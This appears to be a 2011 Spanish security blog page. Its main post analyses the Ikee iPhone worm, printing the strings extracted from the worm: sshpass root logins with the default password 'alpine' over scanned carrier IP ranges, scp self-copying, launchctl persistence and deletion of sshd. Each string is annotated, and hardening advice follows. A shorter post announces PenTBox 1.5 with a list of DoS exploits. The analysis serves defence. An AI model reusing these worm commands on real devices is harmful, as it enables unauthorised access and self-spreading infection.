%s.0-%s.255
Lannnnn
VODAPHONE
OPTUSSSS
Telstra
%i.%i.%i.%i
Oh a sheep!
sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'echo 99' ******
alpine ******
Error is sshpass there?
sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s ; echo 99'
sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s'
sshpass -p %s scp -o StrictHostKeyChecking=no ./%s root@%s:%s ******
sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'which %s'
cp /var/log/youcanbeclosertogod.jpg /var/mobile/Library/LockBackground.jpg ******
rm -f /usr/sbin/sshd; killall sshd ******
uname -n
rm /bin/sshpass
rm /bin/poc-bbot
/bin/poc-bbot
/bin/sshpass
rm /var/mobile/Library/LockBackground.jpg; echo "
 - Removed old background"
/var/log/youcanbeclosertogod.jpg
/var/mobile/Library/LockBackground.jpg
/System/Library/LaunchDaemons/com.ikey.bbot.plist
launchctl load /System/Library/LaunchDaemons/com.ikey.bbot.plist ******
rm -f /Library/LaunchDaemons/com.openssh.sshd.plist; launchctl unload /Library/LaunchDaemons/com.openssh.sshd.plist ******
killall sshd ******

He remarcado con ****** aquello que más me ha llamado la atención:
  • getifaddrs -> Qué IP tengo asignada ahora?
  • El interfaz pdp_ip0 es el que por defecto se levanta en las conexiones 3G en iPhone. -> supongo que será parte de la llamada a getifaddrs (pdp_ip0) 
  • %s.%s.%i.0-%s.%s.%i.255 -> Del direccionamiento de red que tengas en el interfaz 3G, crea una lista con todas las direcciones posibles de esa red.
  • Diferentes rangos de red públicos de redes de telefonía móvil de Australia. Además está el direccionamiento privado 192.168.0.0/16, que imagino que también se asignará por parte de algún operador en Australia, al igual que hace Movistar aquí con direccionamiento 10.0.0.0/8 (al menos me he encontrado de este tipo de direccionamiento en el intefaz 3G de mi iphone un montón de veces)
  • sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'echo 99'  + alpine -> ¿Está claro no? Conéctate a la IP que te toque en el bucle por SSH con contraseña "alpine" y si ya te habías conectado a esa IP pero ha cambiado la key del servidor, añádela al known_hosts sin preguntar (Lo que interesa es reproducirse e infectar, claro está). Escribe un "echo 99". Imagino que así vemos si hemos acertado o no con la contraseña "alpine" de ese Iphone
  • sshpass -p %s scp -o StrictHostKeyChecking=no ./%s root@%s:%s -> Copia con SCP los ficheros necesarios para reproducirte en el nuevo iphone víctima 
  • cp /var/log/youcanbeclosertogod.jpg /var/mobile/Library/LockBackground.jpg  -> Pon a Rick Astley y su "Never gonna give you up" de fondo de pantalla
  • rm -f /usr/sbin/sshd; killall sshd -> Borra el servidor SSH del iphone y mata el proceso para hacer más complicado el borrado del propio "bicho"
  • launchctl load /System/Library/LaunchDaemons/com.ikey.bbot.plist -> Ejecuta lo que diga este script (típico de arranque en plataformas Apple) Pon el bicho a funcionar
  • rm -f /Library/LaunchDaemons/com.openssh.sshd.plist; launchctl unload /Library/LaunchDaemons/com.openssh.sshd.plist -> Borra el script de inicio del servicio SSHd y tira el servicio actual. -> Digo yo que ¿esto tendría que ejecutarse en orden contrario no? Primero tiro el servicio con el script de arranque y luego lo borro…  
  • killall sshd -> Mata el servicio sshd actual
/bin/sshpass es un binario que se ejecuta como helper de poc-bbot para conectarse a las posibles víctimas y copiarles lo necesario para seguir infectando iPhones.



Conclusiones
  • /var/mobile/Library/LockBackground.jpg -> No existe en IOS 4 por eso que no me enteré que tenía el bicho, al no haberme cambiado el fondo de pantalla por el majete Rick Astley. Este virus era efectivo en versiones de sistema operativo de Iphone inferiores a la 4
  • Me vino bastante bien descargar desde Cydia una herramienta llamada Sysinfoplus. Te permite, entre otras cosas, listar los procesos que están corriendo en el iPhone así como información de conexiones de red. Me valió después de haber desinfectado el iPhone para comprobar que ya no existían más procesos sospechosos, conexiones salientes raras, carga de procesador del iPhone, etc,... Es gratuita y recomendable si tienes hecho el jailbreak
  • En mi caso, en el interim entre que instalé OpenSSH y alguna que otra cosa más, nada más tener mi iPhone nuevo, tuve la mala suerte que un usuario infectado en mi misma red de Movistar me contagió el Ikee, de manera que;
  • Si te instalas OpenSSH para tener acceso por SSH al iPhone, yo tendría en cuenta varias cosas:
    • Instala OpenSSH con los servicios 3G y Datos deshabilitados. Hazlo vía wireless.
    • Conéctate al dispositivo y cambia inmediatamente la contraseña de root (alpine por defecto) por algo mucho más complicado.
    • Haz que el servicio SSHd escuche sólo en la interfaz privada. Lo normal es que sólo lo arranques en algunas redes muy definidas (en mi caso la de casa únicamente). Para eso añade la línea "ListenAddress a.b.c.d" al final del fichero /private/etc/ssh/ssh_config. Donde a.b.c.d es la IP del interfaz wireless que asignas a tu Iphone en tu red confiable.
    • Que no arranque como servicio el SSHD en el iphone sí o sí. Es preferible tenerlo que levantar manualmente cuando quieras conectarte. Así minimizas el tiempo de exposición. Para ello ejecuta en consola del iphone: launchctl unload -w /Library/LaunchDaemons/com.openssh.sshd.plist
    • Tened cuidado con el Toggle-SSH para SB Settings, puesto que en cuanto lo utilizas, habilitará por defecto que se ejecute al arranque! Al no ser algo que se use muy a menudo, es mejor no tener la extensión de Toggle-SSH y habilitarlo/deshabilitarlo desde la propia aplicación de OpenSSH manualmente.
  • Teruel por supuesto que existe y el que no quiera ver que el malware para Apple cada vez está más a la orden del día debido al espectacular crecimiento de ventas y popularidad de la marca de la manzana, es querer seguir creyendo en los reyes magos. El malware para Apple es un hecho y ha llegado para quedarse!
Leer más...

12 junio 2011

Enlaces de la Secmana - 75



Semana calentita la que comentamos hoy!
Leer más...

11 junio 2011

PenTBox versión 1.5 liberada

Muy al estilo del proyecto, después de unos meses de letargo se acaba de publicar la última versión de PenTBox (v1.5). Cuenta con algunos cambios refrescantes, soluciona varios errores e incorpora nuevas herramientas.

Una de las principales novedades es que se ha puesto en marcha un servidor SVN desde el cual se podrá actualizar y descargar el programa. La versión del servidor es sobre la que se desarrolla, por lo que a partir de ahora no hará falta esperar a una nueva versión para tener actualizado el framework.

https://pentbox.svn.sourceforge.net/svnroot/pentbox/trunk/

Para actualizar se ha incluido un script llamado pb_update.rb que realiza el proceso. Requiere tener instalado subversion.

Los cambios dentro del framework han sido los siguientes.

Nuevas características:
- Ahora podemos ejecutar comandos a la vez que trabajamos. Solamente hay que escribir un "!" delante del comando, éste se ejecutará y continuaremos en el mismo punto de la ejecución. Aquí podemos ver un ejemplo.
- Wordlist ampliado.
- El honeypot muestra ahora más datos del atacante.
- Incluida la deseada opción "Atrás" en el menú.

Nuevas herramientas:
- Herramienta para geolocalizar direcciones MAC gracias al servicio proporcionado por samy.
- Herramienta web para realizar fuerza bruta sobre directorios, permite encontrar directorios ocultos que no son listados o referenciados.
- Herramienta web para buscar ficheros comunes como readmes, robots.txt, humans.txt e incluso hackers.txt
- Añadidos algunos exploits en la sección de comprobación de DoS, concretamente:
  • [other/http] 3Com SuperStack Switch DoS
  • [other/http] 3Com OfficeConnect Routers DoS (Content-Type)
  • [windows/ftp] Windows 7 IIS7.5 FTPSVC UNAUTH'D DoS
  • [windows/ftp] Solar FTP Server 2.1 DoS
  • [windows/pptp] MS02-063 PPTP Malformed Control Data Kernel DoS
  • [windows/smb] Windows Vista/7 SMB2.0 Negotiate Protocol Request DoS BSOD
Bugfixing:
- Actualizada la interacción con SHODAN.
- Mejorada la comprobación de permisos de usuario para el modo protegido.

Mención muy especial para @r4mosg y Shyish que han aportado colaboraciones al proyecto. Por supuesto, ¡nuevas colaboraciones son bien recibidas!

Además, está planeado el lanzamiento de "PenTBox - The book", un PDF que recopilará información sobre su instalación y uso, trucos, ayuda para desarrollar y mucho más.

Descarga de PenTBox v1.5
- Versión sólo para Windows
- Versión GNU/Linux, *BSD, OSX, ...
Leer más...